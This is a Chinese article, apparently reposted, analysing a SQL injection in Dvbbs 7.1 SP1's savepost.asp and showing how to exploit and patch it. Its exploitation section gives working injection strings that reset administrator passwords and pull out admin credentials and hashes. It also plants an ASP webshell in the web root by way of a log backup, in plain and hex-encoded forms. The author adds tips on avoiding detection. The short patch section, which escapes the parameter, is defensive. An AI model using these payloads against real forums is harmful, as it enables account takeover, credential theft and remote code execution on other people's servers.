Dvbbs7.1 sp1 SQL版savepost.asp注入漏洞分析、利用及防范
人气:0想了解Dvbbs7.1 sp1 SQL版savepost.asp注入漏洞分析、利用及防范的相关内容吗,在本文为您仔细讲解的相关知识和一些Code实例,欢迎阅读和指正,我们先划重点:Dvbbs7.1,sp1,SQL版savepost.asp注入漏洞分析、利用及防范,下面大家一起来学习吧。
一、概述漏洞介绍:
http://coolersky.com/leak/programme/bbs/2006/0515/515.html |
http://www.eviloctal.com/forum/read.php?tid=22074 |
http://coolersky.com/articles/hack/analysis/programme/2006/0515/238.html |
二、漏洞分析
既然是savepost.asp程序的问题,那就打开改文件,风尘浪子已经提到是ToolsBuyUser参数过滤不足,那就看这个变量。
32行,定义变量:
Private GetPostType,ToMoney,UseTools,ToolsBuyUser,GetMoneyType,Tools_UseTools,Tools_LastPostTime,ToolsInfo,ToolsSetting |
ToolsBuyUser = "" |
ToolsBuyUser = "0|||$SendMoney" |
ToolsBuyUser = "0|||$GetMoney" |
ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||" |
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")" |
Dvbbs.Execute(sql) |
三、漏洞利用
1、注册用户coolersky
2、选择发表新话题
3、在“选择帖子类型”中选中“论坛交易帖设置”
4、在“可购买用户名单限制:”中写入
'将自身用户口令修改为123456 coolersky',0);update dv_user set userpassword='49ba59abbe56e057' where username='coolersky';-- |
5、获得前台管理员用户名和口令,分别放在自定义头像和签名中,查看用户coolersky的基本资料即可看到。
coolersky',0);update dv_user set userface=(select top 1 username from dv_user where userclass='管理员'),usersign=(select top 1 userpassword from dv_user where userclass='管理员') where username='coolersky';-- |
coolersky',0);update dv_user set userface=(select top 1 username from dv_admin),usersign=(select top 1 password from dv_admin) where username='coolersky';-- |
coolersky',0);update dv_user set usersign=(select l_content from dv_log where l_content like '%password2%') where username='coolersky';-- |
coolersky',0);update dv_user set userface=(select db_name())where username='coolersky';-- |
'替换dbname为上一步获得的数据库名称,日志差异备份要db_owner权限! '替换d:\web\dvbbs7\为当前论坛物理路径,怎么获得别来问我! coolersky',0);alter database dbname set RECOVERY FULL;create table temptt (a image);backup log dbname to disk = 'c:\acool_back' with init;insert into temptt (a) values ('<%execute request("l")%>');backup log dbname to disk = 'd:\web\dvbbs7\temptt.asp';drop table temptt;alter database dbname set RECOVERY SIMPLE;-- |
coolersky',0);alter database dbname set RECOVERY FULL;create table temptt (a image);backup log dbname to disk = 'c:\acool_back' with init;insert into temptt (a) values (0x273C2565786563757465207265717565737428226C2229253E27);backup log dbname to disk = ''d:\web\dvbbs7\temptt.asp';drop table temptt;alter database dbname set RECOVERY SIMPLE;-- |
10、直接修改管理员口令
通过5、6、7三个步骤可以获得管理员前后台的用户名和密码,至少密码是16位md5,我们可以通过网络查询或者暴力破解获得管理员口令来登录前后台,但是也很可能没办法破解出口令。
而如果也无法获得论坛的物理路径,那么只好通过修改管理员口令来实现了,当然能不改管理员口令还是尽量避免修改,否则马上就被管理员知道被入侵了。
(1)获得前台管理员用户名:
coolersky',0);update dv_user set userface=(select top 1 username from dv_user where userclass='管理员')where username='test';-- |
'假设我们获得前台管理员用户名为admin,修改密码为123456 coolersky',0);update dv_user set userpassword='49ba59abbe56e057' where username='admin';-- |
coolersky',0);update dv_user set userface=(select top 1 username from dv_admin)where username='test';-- |
'假设我们获得后台管理员用户名为admin,修改密码为123456 coolersky',0);update dv_admin set password='49ba59abbe56e057' where username='admin';-- |
通过以上操作,只要服务器支持多语句,那么我们还可以对数据库进行更多操作。
四、漏洞修补
1、从dvbbs下载最新补丁
http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1 |
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")" |
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&dvbbs.checkstr(ToolsBuyUser)&"',"&GetMoneyType&")" |
加载全部内容